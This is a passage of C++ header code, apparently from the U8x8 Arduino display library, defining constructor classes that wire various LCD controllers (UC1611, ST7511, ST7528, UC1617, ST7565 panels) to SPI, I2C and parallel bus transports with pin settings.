U8X8_UC1611_EW50850_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1611_EW50850_HW_I2C : public U8X8 { public: U8X8_UC1611_EW50850_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1611_EW50850_2ND_HW_I2C : public U8X8 { public: U8X8_UC1611_EW50850_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1611_CG160160_4W_SW_SPI : public U8X8 { public: U8X8_UC1611_CG160160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1611_CG160160_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_CG160160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_CG160160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_CG160160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_CG160160_3W_SW_SPI : public U8X8 { public: U8X8_UC1611_CG160160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1611_CG160160_3W_HW_SPI : public U8X8 { public: U8X8_UC1611_CG160160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1611_CG160160_6800 : public U8X8 { public: U8X8_UC1611_CG160160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_CG160160_8080 : public U8X8 { public: U8X8_UC1611_CG160160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_CG160160_SW_I2C : public U8X8 { public: U8X8_UC1611_CG160160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1611_CG160160_HW_I2C : public U8X8 { public: U8X8_UC1611_CG160160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1611_CG160160_2ND_HW_I2C : public U8X8 { public: U8X8_UC1611_CG160160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1611_IDS4073_4W_SW_SPI : public U8X8 { public: U8X8_UC1611_IDS4073_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1611_IDS4073_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_IDS4073_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_IDS4073_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_IDS4073_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_IDS4073_3W_SW_SPI : public U8X8 { public: U8X8_UC1611_IDS4073_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1611_IDS4073_3W_HW_SPI : public U8X8 { public: U8X8_UC1611_IDS4073_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1611_IDS4073_6800 : public U8X8 { public: U8X8_UC1611_IDS4073_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_IDS4073_8080 : public U8X8 { public: U8X8_UC1611_IDS4073_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_IDS4073_SW_I2C : public U8X8 { public: U8X8_UC1611_IDS4073_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1611_IDS4073_HW_I2C : public U8X8 { public: U8X8_UC1611_IDS4073_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1611_IDS4073_2ND_HW_I2C : public U8X8 { public: U8X8_UC1611_IDS4073_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7511_AVD_320X240_4W_SW_SPI : public U8X8 { public: U8X8_ST7511_AVD_320X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7511_AVD_320X240_4W_HW_SPI : public U8X8 { public: U8X8_ST7511_AVD_320X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7511_AVD_320X240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7511_AVD_320X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7511_AVD_320X240_3W_SW_SPI : public U8X8 { public: U8X8_ST7511_AVD_320X240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7511_AVD_320X240_3W_HW_SPI : public U8X8 { public: U8X8_ST7511_AVD_320X240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7511_AVD_320X240_6800 : public U8X8 { public: U8X8_ST7511_AVD_320X240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7511_AVD_320X240_8080 : public U8X8 { public: U8X8_ST7511_AVD_320X240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7528_NHD_C160100_4W_SW_SPI : public U8X8 { public: U8X8_ST7528_NHD_C160100_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7528_NHD_C160100_4W_HW_SPI : public U8X8 { public: U8X8_ST7528_NHD_C160100_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7528_NHD_C160100_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7528_NHD_C160100_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7528_NHD_C160100_6800 : public U8X8 { public: U8X8_ST7528_NHD_C160100_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7528_NHD_C160100_8080 : public U8X8 { public: U8X8_ST7528_NHD_C160100_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7528_NHD_C160100_SW_I2C : public U8X8 { public: U8X8_ST7528_NHD_C160100_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7528_NHD_C160100_HW_I2C : public U8X8 { public: U8X8_ST7528_NHD_C160100_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7528_NHD_C160100_2ND_HW_I2C : public U8X8 { public: U8X8_ST7528_NHD_C160100_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7528_ERC16064_4W_SW_SPI : public U8X8 { public: U8X8_ST7528_ERC16064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7528_ERC16064_4W_HW_SPI : public U8X8 { public: U8X8_ST7528_ERC16064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7528_ERC16064_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7528_ERC16064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7528_ERC16064_6800 : public U8X8 { public: U8X8_ST7528_ERC16064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7528_ERC16064_8080 : public U8X8 { public: U8X8_ST7528_ERC16064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7528_ERC16064_SW_I2C : public U8X8 { public: U8X8_ST7528_ERC16064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7528_ERC16064_HW_I2C : public U8X8 { public: U8X8_ST7528_ERC16064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7528_ERC16064_2ND_HW_I2C : public U8X8 { public: U8X8_ST7528_ERC16064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1617_JLX128128_4W_SW_SPI : public U8X8 { public: U8X8_UC1617_JLX128128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1617_JLX128128_4W_HW_SPI : public U8X8 { public: U8X8_UC1617_JLX128128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1617_JLX128128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1617_JLX128128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1617_JLX128128_3W_SW_SPI : public U8X8 { public: U8X8_UC1617_JLX128128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1617_JLX128128_3W_HW_SPI : public U8X8 { public: U8X8_UC1617_JLX128128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1617_JLX128128_SW_I2C : public U8X8 { public: U8X8_UC1617_JLX128128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1617_JLX128128_HW_I2C : public U8X8 { public: U8X8_UC1617_JLX128128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1617_JLX128128_2ND_HW_I2C : public U8X8 { public: U8X8_UC1617_JLX128128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7565_EA_DOGM128_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM128_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM128_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_EA_DOGM128_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_EA_DOGM128_6800 : public U8X8 { public: U8X8_ST7565_EA_DOGM128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM128_8080 : public U8X8 { public: U8X8_ST7565_EA_DOGM128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, 